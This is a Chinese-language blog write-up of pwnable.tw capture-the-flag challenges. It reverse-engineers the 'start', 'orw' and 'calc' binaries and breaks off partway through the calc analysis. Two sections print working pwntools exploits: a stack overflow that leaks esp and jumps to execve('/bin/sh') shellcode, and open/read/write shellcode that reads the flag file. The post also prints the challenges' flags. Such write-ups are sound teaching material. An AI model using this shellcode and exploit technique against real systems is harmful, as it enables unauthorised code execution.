arttnba3's old blog

- arttnba3的垃圾堆积处 -

0%

【CTF题解-0x02】pwnable.tw write up by arttnba3

0x00.绪论

pwnable.tw是一个世界范围内很有名的pwn题网站,作为主攻pwn的CTFer,上面的题对我而言自然是很有必要做的(当然我现在还太弱了XD

点开查看题解👇(当然也有可能我暂时还一题都没有做出来2333

注:原题皆可在本页面直接下载

0x01.start

nc chall.pwnable.tw 10000

点击下载-start

惯例的checksec,发现保护全关,暗示可以为所欲为23333

image.png

拖入IDA进行分析,直接傻眼,这都什么东西,整个程序只有一个_start函数和一个_exit函数

image.png

简单分析一下,该程序首先将esp的值_exit函数的地址以及一串字符串let's start the CTF压入栈中

随后将esp的值传入ecx寄存器中,将0x14传入dl寄存器中,1传入bl寄存器中,4传入al寄存器中

之后int 0x80中断指令触发Linux系统调用,al寄存器的值作为参数,调用了0x80中断的系统函数sys_write(),将bl、dl、ecx的值作为参数传入,输出字符串

随后将0x3c传入dl寄存器中,3传入al寄存器中,之后int 0x80中断指令触发Linux系统调用,al寄存器的值作为参数,调用了0x80中断的系统函数sys_read(),将bl、dl、ecx的值作为参数传入,读入最大0x3c个字节

最后返回到_exit函数,退出程序

参见:linux系统调用

image.png

那么在这个过程当中,**esp与栈的变化如下**(字丑勿怪2333(图上应该是5次push,手快写错了XDDD

image.png

通过使用中断的方式调用系统函数,我们不难猜的出这应该是一个纯汇编写的程序

程序本身也没有其他多余的gadgets,在保护全关的情况下,我们可以考虑泄露esp的值,将shellcode输入到栈上,再控制程序跳转到栈上的shellcode以getshell

那么我们可以考虑先覆盖掉return address,控制其跳转至0x8048087,重新调用sys_write()输出栈上的内容,此时程序会将原esp的值输出出来

image.png

随后程序接着往下走,重新调用sys_read(),我们便可以在这里输入我们的第二段payload:20‘A’ + 通过泄露的esp的值计算出来的存放shellcode的栈地址 + shellcode*,这段payload用以getshell

image.png

简单分析我们可以知道经过第一次输入后的跳转再经过第二次输入后,栈上原esp+0x14-4的位置即是程序控制的返回地址,我们只需要在此处写上原esp+0x14,紧接着后面跟着覆盖上我们的shellcode即可getshell,整个过程如下图

image.png

因为输入只有60个字节,故考虑使用11号中断调用execve(“/bin/sh”)来getshell

1
2
3
4
5
6
7
8
9
10
;!c
;execve ("/bin/sh")
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80

构造shellcode如下:

1
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

我们最后得到的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
write_addr = 0x8048087
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

p = process('./start')#p = remote('chall.pwnable.tw',10000)
payload1 = 'A'*0x14 + p32(write_addr)
p.recvuntil(':')
p.send(payload1)
esp_value = u32(p.recv(4))
payload2 = 'A'*0x14 + p32(esp_value+0x14) + shellcode#本地不明原因一直跑不通x
p.send(payload2)
p.interactive()

连接,发送我们的payload,成功得到flag(👈因为网不好连着试了好几次才成功…

image.png

得到flag:

1
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

0x02.orw

nc chall.pwnable.tw 10001

点击下载-orw

首先可以看到题目对环境做出了一定的限制

image.png

惯例的checksec,发现只开了canary

D_V73A_Y0XS1HEU~_CXRZSH.png

拖入IDA进行分析

image.png

主程序一开始会先调用orw_seccomp()函数,我们点进去康康

image.png

v4是canary的值,我们现在还不知道是否需要绕过canary,故先不予理会

接下来调用了qmemcpy()函数,实际上就是memcpy函数,将从0x8048640地址开始拷贝0x60字节的数据到v3中,随后赋值12给v1,v2作为指针获取v3的首字节地址

最后调用prctl()函数,结合题目的说明,我们大致可以猜测到orw_seccomp()函数的作用应该是禁用其他的系统调用,仅开放sys_read、sys_write、sys_open

也就是说我们无法通过sys_execve来getshell

接下来回到主函数,我们很容易看出该程序会读入最大0xC8字节输入并尝试执行该输入

结合题目说明,我们仅考虑构造shellcode来cat flag

(因为要绕过seccomp来getshell已经是kernel pwn 的级别le,233333)

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p = remote('chall.pwnable.tw',10001)
p.sendline(asm(shellcode))
p.interactive()

向服务器发送我们的payload

_7__O90_E_I39_HGTFIP__S.png

成功得到flag

1
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

0x03.CVE-2018-1160(×)

nc chall.pwnable.tw 10002

点击下载-netatalk.tgz

点击下载-libc.so

首先我们先看看CVE是个啥:

CVE 的英文全称是“Common Vulnerabilities & Exposures”通用漏洞披露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题

百度百科-CVE

好家伙,第三题直接上CVE我直接当场暴毙做不出来跳过并进入下一题

惯例的checksec保 护 全 开(噔 噔 咚)

2GP_TSHIRJ_~Z_GD6F_E@WQ.png

尝试动态调试,这软件太过古老直接跑不起来(悲)

还是拖入IDA进行分析⑧

咕了,找时间接着更(才不是因为看不懂几百行的main函数(👈菜🐓不请自爬))

0x04.calc

nc chall.pwnable.tw 10003

点击下载-calc

首先是惯例的checksec,可以看到开了canary保护和栈不可执行保护

image.png

运行程序我们可以发现这是一个简单的计算器,遇到非法输入会报错、给出错误结果甚至直接退出

image.png

拖入IDA进行分析

image.png

结合之前的运行结果,我们容易看出该程序中比较关键的就是calc()函数,进去康康

image.png

开头bzero()函数将s上的0x400字节大小的空间全都置为0,随后进入get_exp()函数,我们再跟过去康康

image.png

我们不难看出该函数的作用便是从输入中仅读取加减乘除求模运算符与字符0~9,不合规的输入都会被跳过,读到EOF或换行符会终止,同时最大读入a2个字节,这些输入会被写到a1上

也就是说该函数的作用便是读取最大1024个字节的合法输入到s上,若不存在合法输入,返回的数据则为0,使calc的循环中断,程序结束。

接下来是init_pool()函数

image.png

不难看出作用是将a1(calc函数中的v1)上的100个字节赋值0

接下来就是最关键的parse_expr()函数了,就流程而言漏洞很有可能就在这里(要命的是这个函数很tm长,不禁感慨pwn对逆向基础的要求也不低

image.png

一开始bzero()将s上的100个字节置0,随后对a1上的字符(也就是先前读入的合法的表达式)逐字符进行判断

image.png

随后,首先判断是否为+-*/%等运算符号,因为强制类型转换将a1+i上的值转为unsigned int,若是’0’~’9’则肯定会≤9,若是运算符号,其减去48所得的值小于0,强制类型转换变成unsigned int后会变成一个极大的正整数(必定大于9)

注:这个语句我曾经一直以为是废语句Or2

image.png

随后将该字符前面的i+a1-v5个字符(v5用作可移动索引)用memcpy拷贝至s1中,末尾置’\0’成为字符串,并判断s1是否为”0”,若为0则退出运算

image.png

随后使用atoi将s1转为整数存入v9中,若v9不为0,则将a2[0]+1赋给v4,随后将v9赋给a2[v4+1],由此我们可以知道*a[0]保存的是已经储存的数字的个数

接下来判断我们先前判断的那一个运算符字符的下一个字符是否存在且是否不为运算符(即是否会出现++这样的情况),若是则直接退出运算

image.png

接下来首先判断s[v7]是否为0,为0则将运算符存入s[v7]中,由此我们可以知道字符数组s是专门用来储存操作符的

若s[v7]不为0(即代表先前已经储存了操作符),则分情况判断,若a1+i上的操作符为*/%则对s[v7]进行判断,判断其是否为+或-,由此我们可以看出这应该是一个针对运算符优先级的判断

若s[v7]的优先级低于a1+i,则进入eval函数,之后将a1+i上的操作符赋给s[v7],eval传入的参数为a2与s[v7],同时我们知道a2数组中储存的是需要被我们运算的数

优先级相同且都为高优先级则将操作符再压入栈中,随后回到循环开头

a1+i为低优先级(加与减)时则进入eval函数,先对s[v7]进行运算,之后s[v7]出栈再将a1+i入栈

若遇到字符串结尾则跳出循环

我们进eval函数里简单看一下

image.png

粗略看了一下大概可以知道eval函数是用来进行运算的函数,

Welcome to my other publishing channels